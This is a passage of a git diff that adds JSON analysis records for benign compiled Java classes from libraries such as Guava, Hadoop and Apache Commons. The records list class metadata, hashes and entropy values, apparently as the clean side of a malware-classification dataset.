"2cac607ba5490f413bccf6f63da08f8deef5e2a91617721871105cfa8481312b", "md5": "b45f8cc71f64c0d9ce2827c72c6ed573", "parent_sha256": "2cac607ba5490f413bccf6f63da08f8deef5e2a91617721871105cfa8481312b"}} \ No newline at end of file diff --git a/java_classification/data/clean/2cdba7d02514c6f90f6067a8617bcb7c1a4a1275681fda86b1abee50bfc5c162.results b/java_classification/data/clean/2cdba7d02514c6f90f6067a8617bcb7c1a4a1275681fda86b1abee50bfc5c162.results new file mode 100755 index 0000000..dab1fa1 --- /dev/null +++ b/java_classification/data/clean/2cdba7d02514c6f90f6067a8617bcb7c1a4a1275681fda86b1abee50bfc5c162.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ImmutableSortedSet.java", "class_name": "com/google/common/collect/ImmutableSortedSet$Builder", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "add", "add", "addAll", "addAll", "build", "build", "addAll", "addAll", "add", "add", "build", "addAll", "addAll", "add", "add"], "minor_version": 0, "const_pool_count": 111}}, "_id": "a333e8f2-2cbe-48d4-b3b8-9138991d57a8", "verbose": {"java": {"signatures": ["Ljava/util/Comparator<-TE;>;", "(Ljava/util/Comparator<-TE;>;)V", "(TE;)Lcom/google/common/collect/ImmutableSortedSet$Builder;", "([TE;)Lcom/google/common/collect/ImmutableSortedSet$Builder;", "(Ljava/lang/Iterable<+TE;>;)Lcom/google/common/collect/ImmutableSortedSet$Builder;", "(Ljava/util/Iterator<+TE;>;)Lcom/google/common/collect/ImmutableSortedSet$Builder;", "()Lcom/google/common/collect/ImmutableSortedSet;", "Lcom/google/common/collect/ImmutableSet$Builder;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "983bbfaaba3dc49944ebe5e0a8874cefcd4d16fc", "file_name": "java_clean/2cdba7d02514c6f90f6067a8617bcb7c1a4a1275681fda86b1abee50bfc5c162", "_id": "a333e8f2-2cbe-48d4-b3b8-9138991d57a8", "score": 0, "entropy": 5.050185351314521, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4579, "ssdeep": "48:Ufh+3O6nY/lo9EaePTUeuaVHF12MGO9EbMD7EclQY90v9sDD9fvzD+hR:w+3UlPPRaMGuu6Q31sDx7KhR", "sha256": "2cdba7d02514c6f90f6067a8617bcb7c1a4a1275681fda86b1abee50bfc5c162", "md5": "730040cb54bba001b5e58a44d4d553db", "parent_sha256": "2cdba7d02514c6f90f6067a8617bcb7c1a4a1275681fda86b1abee50bfc5c162"}} \ No newline at end of file diff --git a/java_classification/data/clean/2d0a4e053f32e00336dc296bc615ddd078e476ea93bb8866d3ce3dc6543912f8.results b/java_classification/data/clean/2d0a4e053f32e00336dc296bc615ddd078e476ea93bb8866d3ce3dc6543912f8.results new file mode 100755 index 0000000..841ade0 --- /dev/null +++ b/java_classification/data/clean/2d0a4e053f32e00336dc296bc615ddd078e476ea93bb8866d3ce3dc6543912f8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SequenceFileAsBinaryOutputFormat.java", "class_name": "org/apache/hadoop/mapred/SequenceFileAsBinaryOutputFormat", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "setSequenceFileOutputKeyClass", "setSequenceFileOutputValueClass", "getSequenceFileOutputKeyClass", "getSequenceFileOutputValueClass", "getRecordWriter", "checkOutputSpecs"], "minor_version": 0, "const_pool_count": 155}}, "_id": "50a713ec-fdf5-4906-ac04-f523207b5ec4", "verbose": {"java": {"signatures": ["(Lorg/apache/hadoop/mapred/JobConf;Ljava/lang/Class<*>;)V", "(Lorg/apache/hadoop/mapred/JobConf;Ljava/lang/Class<*>;)V", "(Lorg/apache/hadoop/mapred/JobConf;)Ljava/lang/Class<*>;", "(Lorg/apache/hadoop/mapred/JobConf;)Ljava/lang/Class<*>;", "(Lorg/apache/hadoop/fs/FileSystem;Lorg/apache/hadoop/mapred/JobConf;Ljava/lang/String;Lorg/apache/hadoop/util/Progressable;)Lorg/apache/hadoop/mapred/RecordWriter;", "Lorg/apache/hadoop/mapred/SequenceFileOutputFormat;"], "constant strings": ["mapred.seqbinary.output.key.class", "mapred.seqbinary.output.value.class", "SequenceFileAsBinaryOutputFormat doesn\\'t support Record Compression"], "JAVA String Analysis": {"combined strings entropy": 4.43865954391235, "obfuscated_data": {"signatures": {"file": "rot0"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4b7f534da1763e2cdae0edb00d3c1acc64c9426f", "file_name": "java_clean/2d0a4e053f32e00336dc296bc615ddd078e476ea93bb8866d3ce3dc6543912f8", "_id": "50a713ec-fdf5-4906-ac04-f523207b5ec4", "score": 0, "entropy": 5.396107311710286, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5090, "ssdeep": "96:uDFlwhgDZiDwMmILDXBfvt2bjxbpLDXBPbMkDLEhKMg43hubphThvhH/UbIxJODR:glMSWbIlJ2e+SuaZPkyP70", "sha256": "2d0a4e053f32e00336dc296bc615ddd078e476ea93bb8866d3ce3dc6543912f8", "md5": "9bdf0d93302eef5bba58e47e75c4b97f", "parent_sha256": "2d0a4e053f32e00336dc296bc615ddd078e476ea93bb8866d3ce3dc6543912f8"}} \ No newline at end of file diff --git a/java_classification/data/clean/2d7e3def2d86159e93f369f183ac078ed0626386e8e69d0750929331f243c824.results b/java_classification/data/clean/2d7e3def2d86159e93f369f183ac078ed0626386e8e69d0750929331f243c824.results new file mode 100755 index 0000000..d764927 --- /dev/null +++ b/java_classification/data/clean/2d7e3def2d86159e93f369f183ac078ed0626386e8e69d0750929331f243c824.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/MapConstraints$ConstrainedSortedSetMultimap", "access_permissions": ["ACC_SUPER"], "interfaces": ["com/google/common/collect/SortedSetMultimap"], "sourcefile": "MapConstraints.java", "method_names": ["", "get", "removeAll", "replaceValues", "valueComparator", "replaceValues", "removeAll", "get", "get", "removeAll", "replaceValues"], "minor_version": 0, "const_pool_count": 77}}, "_id": "066a2163-33aa-4d59-ac9c-0ebd4a9146c7", "verbose": {"java": {"signatures": ["(Lcom/google/common/collect/SortedSetMultimap;Lcom/google/common/collect/MapConstraint<-TK;-TV;>;)V", "(TK;)Ljava/util/SortedSet;", "(Ljava/lang/Object;)Ljava/util/SortedSet;", "(TK;Ljava/lang/Iterable<+TV;>;)Ljava/util/SortedSet;", "()Ljava/util/Comparator<-TV;>;", "Lcom/google/common/collect/MapConstraints$ConstrainedSetMultimap;Lcom/google/common/collect/SortedSetMultimap;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "00432a3b2db5153e85ae98b38508670917701f6c", "file_name": "java_clean/2d7e3def2d86159e93f369f183ac078ed0626386e8e69d0750929331f243c824", "_id": "066a2163-33aa-4d59-ac9c-0ebd4a9146c7", "score": 0, "entropy": 5.077415188732101, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3314, "ssdeep": "48:Q1lLkJ2pntPI4f8lQimcwayW+qfm7WtkoAkiU+iWTRYoPBYJk2:alLkJwtUhNt8qCgOiZZ", "sha256": "2d7e3def2d86159e93f369f183ac078ed0626386e8e69d0750929331f243c824", "md5": "c8adec339758e950cbc5e199bee79b92", "parent_sha256": "2d7e3def2d86159e93f369f183ac078ed0626386e8e69d0750929331f243c824"}} \ No newline at end of file diff --git a/java_classification/data/clean/2e2e9414c29587ec12610280cf35ddf2e35e14db8be49b45ea090997a4ceb7fa.results b/java_classification/data/clean/2e2e9414c29587ec12610280cf35ddf2e35e14db8be49b45ea090997a4ceb7fa.results new file mode 100755 index 0000000..4839d5b --- /dev/null +++ b/java_classification/data/clean/2e2e9414c29587ec12610280cf35ddf2e35e14db8be49b45ea090997a4ceb7fa.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "MultipleSequenceFileOutputFormat.java", "class_name": "org/apache/hadoop/mapred/lib/MultipleSequenceFileOutputFormat", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "getBaseRecordWriter"], "minor_version": 0, "const_pool_count": 45}}, "_id": "222cbca5-ed03-4706-a685-14d5fd2f412e", "verbose": {"java": {"signatures": ["Lorg/apache/hadoop/mapred/SequenceFileOutputFormat;", "(Lorg/apache/hadoop/fs/FileSystem;Lorg/apache/hadoop/mapred/JobConf;Ljava/lang/String;Lorg/apache/hadoop/util/Progressable;)Lorg/apache/hadoop/mapred/RecordWriter;", "Lorg/apache/hadoop/mapred/lib/MultipleOutputFormat;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e2d816c4b0d386c101e05d00929e9556f0e2c4d2", "file_name": "java_clean/2e2e9414c29587ec12610280cf35ddf2e35e14db8be49b45ea090997a4ceb7fa", "_id": "222cbca5-ed03-4706-a685-14d5fd2f412e", "score": 0, "entropy": 5.255951805892501, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1652, "ssdeep": "48:6KhR7hRKyFlk99l99D3LDXB+F0BvLLDXBvu9F9whR299O92sIEi5:phJhxFlk9P9R3LDXB+F2LLDXBW9FyhMX", "sha256": "2e2e9414c29587ec12610280cf35ddf2e35e14db8be49b45ea090997a4ceb7fa", "md5": "7a4ec78b8f21c6d7412225b06f33e8c9", "parent_sha256": "2e2e9414c29587ec12610280cf35ddf2e35e14db8be49b45ea090997a4ceb7fa"}} \ No newline at end of file diff --git a/java_classification/data/clean/2e50f4288350a4c5d774fe08221c8a7717b79ee07fafe5962d4d769785a7af4e.results b/java_classification/data/clean/2e50f4288350a4c5d774fe08221c8a7717b79ee07fafe5962d4d769785a7af4e.results new file mode 100755 index 0000000..fa235ca --- /dev/null +++ b/java_classification/data/clean/2e50f4288350a4c5d774fe08221c8a7717b79ee07fafe5962d4d769785a7af4e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ParameterizedAssertionError.java", "class_name": "org/junit/experimental/theories/internal/ParameterizedAssertionError", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "equals", "join", "join", "stringValueOf"], "minor_version": 0, "const_pool_count": 113}}, "_id": "903c70ed-80f5-4532-99a4-ec696b758e8f", "verbose": {"java": {"signatures": ["(Ljava/lang/String;Ljava/util/Collection;)Ljava/lang/String;"], "constant strings": ["%s(%s)", ", ", "[toString failed]"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ee072f7035475ee751731319e3779f56fe335d5d", "file_name": "java_clean/2e50f4288350a4c5d774fe08221c8a7717b79ee07fafe5962d4d769785a7af4e", "_id": "903c70ed-80f5-4532-99a4-ec696b758e8f", "score": 0, "entropy": 5.342525204482262, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2371, "ssdeep": "48:folGvyqRW+9/yV2xgfcBvf5gYz9Efz1+oOT:glGtJxdqsojOT", "sha256": "2e50f4288350a4c5d774fe08221c8a7717b79ee07fafe5962d4d769785a7af4e", "md5": "ca7779567c22f014fe9e856bdf03952f", "parent_sha256": "2e50f4288350a4c5d774fe08221c8a7717b79ee07fafe5962d4d769785a7af4e"}} \ No newline at end of file diff --git a/java_classification/data/clean/2e97885857dee8d81b5834ccbcfcc6d84429feb2b2e8cc3d7bf4290757cbf203.results b/java_classification/data/clean/2e97885857dee8d81b5834ccbcfcc6d84429feb2b2e8cc3d7bf4290757cbf203.results new file mode 100755 index 0000000..a5dbb3e --- /dev/null +++ b/java_classification/data/clean/2e97885857dee8d81b5834ccbcfcc6d84429feb2b2e8cc3d7bf4290757cbf203.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 47, "class_name": "org/dom4j/io/STAXEventWriter$NamespaceIterator", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/util/Iterator"], "sourcefile": "STAXEventWriter.java", "method_names": ["", "hasNext", "next", "remove"], "minor_version": 0, "const_pool_count": 68}}, "_id": "c633984d-dcd1-4524-b797-02674d4528ac", "metadata": {"mimetype": "application/x-java-applet", "sha1": "be4511644c10597a44ea5f03c8d4d37aa28d2641", "file_name": "java_clean/2e97885857dee8d81b5834ccbcfcc6d84429feb2b2e8cc3d7bf4290757cbf203", "_id": "c633984d-dcd1-4524-b797-02674d4528ac", "score": 0, "entropy": 5.377644433460634, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 1442, "ssdeep": "24:UXyO8k4d34G88uljwR54peQTNpm4pb58cm4Et4DAvvc+C70Ohn+RBlWapw:FkliQTNpTpWGAM+C70OR+wapw", "sha256": "2e97885857dee8d81b5834ccbcfcc6d84429feb2b2e8cc3d7bf4290757cbf203", "md5": "923de22999d085bb1d506111d2df4367", "parent_sha256": "2e97885857dee8d81b5834ccbcfcc6d84429feb2b2e8cc3d7bf4290757cbf203"}} \ No newline at end of file diff --git a/java_classification/data/clean/2fe53a70f067e8379426e843cdf94a10d175190bd4e7c14dd0227b5d0bc0fed8.results b/java_classification/data/clean/2fe53a70f067e8379426e843cdf94a10d175190bd4e7c14dd0227b5d0bc0fed8.results new file mode 100755 index 0000000..08297d0 --- /dev/null +++ b/java_classification/data/clean/2fe53a70f067e8379426e843cdf94a10d175190bd4e7c14dd0227b5d0bc0fed8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "javax/xml/transform/Templates", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 46, "method_names": ["newTransformer", "getOutputProperties"], "minor_version": 0, "const_pool_count": 12}}, "_id": "1401fff3-f91a-48f3-87db-94fa761458d1", "metadata": {"mimetype": "application/x-java-applet", "sha1": "d6d21ca0980f0946c8b896c01e2bedf4032538ef", "file_name": "java_clean/2fe53a70f067e8379426e843cdf94a10d175190bd4e7c14dd0227b5d0bc0fed8", "_id": "1401fff3-f91a-48f3-87db-94fa761458d1", "score": 0, "entropy": 4.952633671950942, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 283, "ssdeep": "6:QDlSA1egx0xrM172dVhEPo0xrURPE0xrM1jExQNn:0QguE2vhE1wRhQHn", "sha256": "2fe53a70f067e8379426e843cdf94a10d175190bd4e7c14dd0227b5d0bc0fed8", "md5": "55d687816775549bc711a795dccf6cbf", "parent_sha256": "2fe53a70f067e8379426e843cdf94a10d175190bd4e7c14dd0227b5d0bc0fed8"}} \ No newline at end of file diff --git a/java_classification/data/clean/2ffb976419707de1681f70303202ddc61509fef69fef1e6d50e0d75904894583.results b/java_classification/data/clean/2ffb976419707de1681f70303202ddc61509fef69fef1e6d50e0d75904894583.results new file mode 100755 index 0000000..dfb0e55 --- /dev/null +++ b/java_classification/data/clean/2ffb976419707de1681f70303202ddc61509fef69fef1e6d50e0d75904894583.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/Iterators$5", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/util/Iterator"], "sourcefile": "Iterators.java", "method_names": ["", "hasNext", "next", "remove"], "minor_version": 0, "const_pool_count": 74}}, "_id": "4bb79794-71b3-44e2-90ec-f0ea34832339", "verbose": {"java": {"signatures": ["Ljava/util/Iterator<+TT;>;", "Ljava/util/Iterator<+TT;>;", "()TT;", "Ljava/lang/Object;Ljava/util/Iterator;"], "constant strings": ["no calls to next() since last call to remove()"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "52c6e9fa40568b1ae5aa7b6ac24b584d9c0ad409", "file_name": "java_clean/2ffb976419707de1681f70303202ddc61509fef69fef1e6d50e0d75904894583", "_id": "4bb79794-71b3-44e2-90ec-f0ea34832339", "score": 0, "entropy": 5.330370022155564, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1547, "ssdeep": "24:2cO8di89s88ulj5yHh908L2HhOK8asaRUtCy/HbYYO8U8XlwkkkMyD688BYJ/SNb:TZvl2hkhgtrbrMY/864iid", "sha256": "2ffb976419707de1681f70303202ddc61509fef69fef1e6d50e0d75904894583", "md5": "4dd5e69bfe71f7548885119b6913004e", "parent_sha256": "2ffb976419707de1681f70303202ddc61509fef69fef1e6d50e0d75904894583"}} \ No newline at end of file diff --git a/java_classification/data/clean/307be623152cec7d283be59970887ae36b91e03445629d2156c055b9ab761aff.results b/java_classification/data/clean/307be623152cec7d283be59970887ae36b91e03445629d2156c055b9ab761aff.results new file mode 100755 index 0000000..786a5ad --- /dev/null +++ b/java_classification/data/clean/307be623152cec7d283be59970887ae36b91e03445629d2156c055b9ab761aff.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/logging/impl/LogKitLogger", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/commons/logging/Log", "java/io/Serializable"], "sourcefile": "LogKitLogger.java", "method_names": ["", "getLogger", "trace", "trace", "debug", "debug", "info", "info", "warn", "warn", "error", "error", "fatal", "fatal", "isDebugEnabled", "isErrorEnabled", "isFatalEnabled", "isInfoEnabled", "isTraceEnabled", "isWarnEnabled"], "minor_version": 3, "const_pool_count": 107}}, "_id": "9d8d7eae-d59a-46e1-868e-16c3e9d1641f", "metadata": {"mimetype": "application/x-java-applet", "sha1": "72952bd1124c612a52bce5cdab0f42515355aa17", "file_name": "java_clean/307be623152cec7d283be59970887ae36b91e03445629d2156c055b9ab761aff", "_id": "9d8d7eae-d59a-46e1-868e-16c3e9d1641f", "score": 0, "entropy": 4.7930885963306435, "libmagic": "compiled Java class data, version 45.3", "file_size": 3013, "ssdeep": "48:JbBGlX6TyNpTkBZ0gSVlpQLH6j0cbqrtryrt0U0rte0Qrt+rt/:KlX6Tem8LQL20EO5WH4Y0swt", "sha256": "307be623152cec7d283be59970887ae36b91e03445629d2156c055b9ab761aff", "md5": "87ec4a2f088f07022ac1a9e7bbed4713", "parent_sha256": "307be623152cec7d283be59970887ae36b91e03445629d2156c055b9ab761aff"}} \ No newline at end of file diff --git a/java_classification/data/clean/30f1f388b125481d6408d908cea4ef7216e10ab6285f43ea6c16b60420e8ec30.results b/java_classification/data/clean/30f1f388b125481d6408d908cea4ef7216e10ab6285f43ea6c16b60420e8ec30.results new file mode 100755 index 0000000..6e623ac --- /dev/null +++ b/java_classification/data/clean/30f1f388b125481d6408d908cea4ef7216e10ab6285f43ea6c16b60420e8ec30.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/collections/map/TransformedSortedMap", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/util/SortedMap"], "sourcefile": "TransformedSortedMap.java", "method_names": ["decorate", "", "getSortedMap", "firstKey", "lastKey", "comparator", "subMap", "headMap", "tailMap"], "minor_version": 3, "const_pool_count": 71}}, "_id": "9f5d79f6-ecf6-4a91-b0c0-f6353465ea14", "metadata": {"mimetype": "application/x-java-applet", "sha1": "c8ffcfe746ddd41491696c0d93f6ae467817a17b", "file_name": "java_clean/30f1f388b125481d6408d908cea4ef7216e10ab6285f43ea6c16b60420e8ec30", "_id": "9f5d79f6-ecf6-4a91-b0c0-f6353465ea14", "score": 0, "entropy": 5.132087740317907, "libmagic": "compiled Java class data, version 45.3", "file_size": 2165, "ssdeep": "48:S4FPq//gJlnZpC/lmgVX6aXOrOg2RlWWucDjUnMY:ZCHgJlZQtrbIzCQ", "sha256": "30f1f388b125481d6408d908cea4ef7216e10ab6285f43ea6c16b60420e8ec30", "md5": "44742c93ccb867fc1f845bcb712df2bd", "parent_sha256": "30f1f388b125481d6408d908cea4ef7216e10ab6285f43ea6c16b60420e8ec30"}} \ No newline at end of file diff --git a/java_classification/data/clean/310327b786d39d49e3bfa5a272fde468688389d7c5468745aac99274fb736d0c.results b/java_classification/data/clean/310327b786d39d49e3bfa5a272fde468688389d7c5468745aac99274fb736d0c.results new file mode 100755 index 0000000..16d2591 --- /dev/null +++ b/java_classification/data/clean/310327b786d39d49e3bfa5a272fde468688389d7c5468745aac99274fb736d0c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/primitives/Longs$LongArrayAsList", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/util/RandomAccess", "java/io/Serializable"], "sourcefile": "Longs.java", "method_names": ["", "", "size", "isEmpty", "get", "contains", "indexOf", "lastIndexOf", "set", "subList", "equals", "hashCode", "toString", "toLongArray", "set", "get"], "minor_version": 0, "const_pool_count": 161}}, "_id": "c57fd754-8f04-4950-8f3f-69a34970dcbf", "verbose": {"java": {"signatures": ["(II)Ljava/util/List;", "Ljava/util/AbstractList;Ljava/util/RandomAccess;Ljava/io/Serializable;"], "constant strings": [", "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e74d340074b33d41e8db214c41ac79f0727a4d38", "file_name": "java_clean/310327b786d39d49e3bfa5a272fde468688389d7c5468745aac99274fb736d0c", "_id": "c57fd754-8f04-4950-8f3f-69a34970dcbf", "score": 0, "entropy": 5.391078575109538, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4042, "ssdeep": "96:Nnq4lZsLNORMM5z5B83gm2wvobFESpDYKpT:44lZQCzz7wvqFESpDYKpT", "sha256": "310327b786d39d49e3bfa5a272fde468688389d7c5468745aac99274fb736d0c", "md5": "83bbd524fbaa548c02c43850279cd586", "parent_sha256": "310327b786d39d49e3bfa5a272fde468688389d7c5468745aac99274fb736d0c"}} \ No newline at end of file diff --git a/java_classification/data/clean/321bd8e5129790d45e6b9fc0c9c07b587fd11ab1105d1e502de28c6365ba3cec.results b/java_classification/data/clean/321bd8e5129790d45e6b9fc0c9c07b587fd11ab1105d1e502de28c6365ba3cec.results new file mode 100755 index 0000000..e4ffd30 --- /dev/null +++ b/java_classification/data/clean/321bd8e5129790d45e6b9fc0c9c07b587fd11ab1105d1e502de28c6365ba3cec.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SortableAjaxBehavior.java", "class_name": "org/odlabs/wiquery/ui/sortable/SortableAjaxBehavior$InnerSortableBehavior", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "contribute", "getOptions", "setInnerReceiveEvent", "setInnerRemoveEvent", "setInnerUpdateEvent", "setReceiveEvent", "setRemoveEvent", "setUpdateEvent", "statement", ""], "minor_version": 0, "const_pool_count": 125}}, "_id": "5a05857e-484f-4eb9-a111-3a68cd1ac720", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.281994638342463, "obfuscated_data": {"signatures": {"file": "rot4"}}}, "constant strings": ["You can\\'t call this method into the DroppableAjaxBehavior", "You can\\'t call this method into the SortableAjaxBehavior"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b3fd4902aac08c0fb7d054df56332b80bed76836", "file_name": "java_clean/321bd8e5129790d45e6b9fc0c9c07b587fd11ab1105d1e502de28c6365ba3cec", "_id": "5a05857e-484f-4eb9-a111-3a68cd1ac720", "score": 0, "entropy": 5.304373575344166, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4109, "ssdeep": "96:PfBf8Al2ejn/Yulu/2f2uS2Rl62/hyfDjvjEJjIjLp3GKrsGfvjvjPuHn/ZL2Lo6:PN8Al2ejn/Yulu/wrSIl62/hyfDjvjE8", "sha256": "321bd8e5129790d45e6b9fc0c9c07b587fd11ab1105d1e502de28c6365ba3cec", "md5": "f63b7bdd78d08b4990122328511d59be", "parent_sha256": "321bd8e5129790d45e6b9fc0c9c07b587fd11ab1105d1e502de28c6365ba3cec"}} \ No newline at end of file diff --git a/java_classification/data/clean/322596eaee6550d0cc91d1a54cc0a1c3eac4f8fccde473c15eb49d56dbc74df7.results b/java_classification/data/clean/322596eaee6550d0cc91d1a54cc0a1c3eac4f8fccde473c15eb49d56dbc74df7.results new file mode 100755 index 0000000..216a9c1 --- /dev/null +++ b/java_classification/data/clean/322596eaee6550d0cc91d1a54cc0a1c3eac4f8fccde473c15eb49d56dbc74df7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/collections/bag/SynchronizedBag", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/commons/collections/Bag"], "sourcefile": "SynchronizedBag.java", "method_names": ["decorate", "", "", "getBag", "add", "remove", "uniqueSet", "getCount"], "minor_version": 3, "const_pool_count": 73}}, "_id": "09925f67-6a71-4dee-8165-25a640501b86", "metadata": {"mimetype": "application/x-java-applet", "sha1": "efa36ee578afca2be2583a95a7cc9749f41de1f7", "file_name": "java_clean/322596eaee6550d0cc91d1a54cc0a1c3eac4f8fccde473c15eb49d56dbc74df7", "_id": "09925f67-6a71-4dee-8165-25a640501b86", "score": 0, "entropy": 5.234786060460626, "libmagic": "compiled Java class data, version 45.3", "file_size": 2101, "ssdeep": "48:xiISflw1GoEYdoGkYS+xILqSFl6Pz/zLS:xixflFY/xILqSFl6PzPS", "sha256": "322596eaee6550d0cc91d1a54cc0a1c3eac4f8fccde473c15eb49d56dbc74df7", "md5": "73e09dcba6d3cf316124ea5126c46432", "parent_sha256": "322596eaee6550d0cc91d1a54cc0a1c3eac4f8fccde473c15eb49d56dbc74df7"}} \ No newline at end of file diff --git a/java_classification/data/clean/32a32896ac7e27bfffd8d2fcbd7665919a2e91a0a3581501cf42ac32c5ebecf7.results b/java_classification/data/clean/32a32896ac7e27bfffd8d2fcbd7665919a2e91a0a3581501cf42ac32c5ebecf7.results new file mode 100755 index 0000000..bbb499c --- /dev/null +++ b/java_classification/data/clean/32a32896ac7e27bfffd8d2fcbd7665919a2e91a0a3581501cf42ac32c5ebecf7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/mapred/lib/MultipleOutputFormat$1", "access_permissions": ["ACC_SUPER"], "interfaces": ["org/apache/hadoop/mapred/RecordWriter"], "sourcefile": "MultipleOutputFormat.java", "method_names": ["", "write", "close"], "minor_version": 0, "const_pool_count": 136}}, "_id": "0bd445c7-d73c-4e1c-9474-4e5617408f32", "verbose": {"java": {"signatures": ["Ljava/util/TreeMap;>;", "(TK;TV;)V", "Ljava/lang/Object;Lorg/apache/hadoop/mapred/RecordWriter;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0b02699814a751570fdc68886ce999063e623371", "file_name": "java_clean/32a32896ac7e27bfffd8d2fcbd7665919a2e91a0a3581501cf42ac32c5ebecf7", "_id": "0bd445c7-d73c-4e1c-9474-4e5617408f32", "score": 0, "entropy": 5.47488268589325, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3386, "ssdeep": "96:wdtXdA87d909erL2lM9N9jSxO+Iz9gz9X9HLDXBkdD2nIWfcco4dMLD:CvMPlUzjjm5NmonIeSLD", "sha256": "32a32896ac7e27bfffd8d2fcbd7665919a2e91a0a3581501cf42ac32c5ebecf7", "md5": "b952ae907371f90920651b560f913e92", "parent_sha256": "32a32896ac7e27bfffd8d2fcbd7665919a2e91a0a3581501cf42ac32c5ebecf7"}} \ No newline at end of file diff --git a/java_classification/data/clean/32bb45d4aa82fb3bbe3b7026447816e987b20d2eb92c7e7471161f83358499bd.results b/java_classification/data/clean/32bb45d4aa82fb3bbe3b7026447816e987b20d2eb92c7e7471161f83358499bd.results new file mode 100755 index 0000000..767feda --- /dev/null +++ b/java_classification/data/clean/32bb45d4aa82fb3bbe3b7026447816e987b20d2eb92c7e7471161f83358499bd.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "StandardToStringStyle.java", "class_name": "org/apache/commons/lang/builder/StandardToStringStyle", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "isUseClassName", "setUseClassName", "isUseShortClassName", "isShortClassName", "setUseShortClassName", "setShortClassName", "isUseIdentityHashCode", "setUseIdentityHashCode", "isUseFieldNames", "setUseFieldNames", "isDefaultFullDetail", "setDefaultFullDetail", "isArrayContentDetail", "setArrayContentDetail", "getArrayStart", "setArrayStart", "getArrayEnd", "setArrayEnd", "getArraySeparator", "setArraySeparator", "getContentStart", "setContentStart", "getContentEnd", "setContentEnd", "getFieldNameValueSeparator", "setFieldNameValueSeparator", "getFieldSeparator", "setFieldSeparator", "isFieldSeparatorAtStart", "setFieldSeparatorAtStart", "isFieldSeparatorAtEnd", "setFieldSeparatorAtEnd", "getNullText", "setNullText", "getSizeStartText", "setSizeStartText", "getSizeEndText", "setSizeEndText", "getSummaryObjectStartText", "setSummaryObjectStartText", "getSummaryObjectEndText", "setSummaryObjectEndText"], "minor_version": 3, "const_pool_count": 166}}, "_id": "385c0f12-af2c-405f-bb0e-ecf74373e53a", "metadata": {"mimetype": "application/x-java-applet", "sha1": "bceb8da61bd7167200ea0ea403e9d201ec047370", "file_name": "java_clean/32bb45d4aa82fb3bbe3b7026447816e987b20d2eb92c7e7471161f83358499bd", "_id": "385c0f12-af2c-405f-bb0e-ecf74373e53a", "score": 0, "entropy": 4.500800872868651, "libmagic": "compiled Java class data, version 45.3", "file_size": 5023, "ssdeep": "96:HfnsFlrLug+O3HKWEzOu8lDumwzflc01iOVrcx:HPGlWcHKGumwxHrVrcx", "sha256": "32bb45d4aa82fb3bbe3b7026447816e987b20d2eb92c7e7471161f83358499bd", "md5": "5eab657dce82f3e21395f8582b451c75", "parent_sha256": "32bb45d4aa82fb3bbe3b7026447816e987b20d2eb92c7e7471161f83358499bd"}} \ No newline at end of file diff --git a/java_classification/data/clean/33d23b52b58d06e1752a41f4e0c4c8d2b6dd150f0be879daf81b1fa384cc5c43.results b/java_classification/data/clean/33d23b52b58d06e1752a41f4e0c4c8d2b6dd150f0be879daf81b1fa384cc5c43.results new file 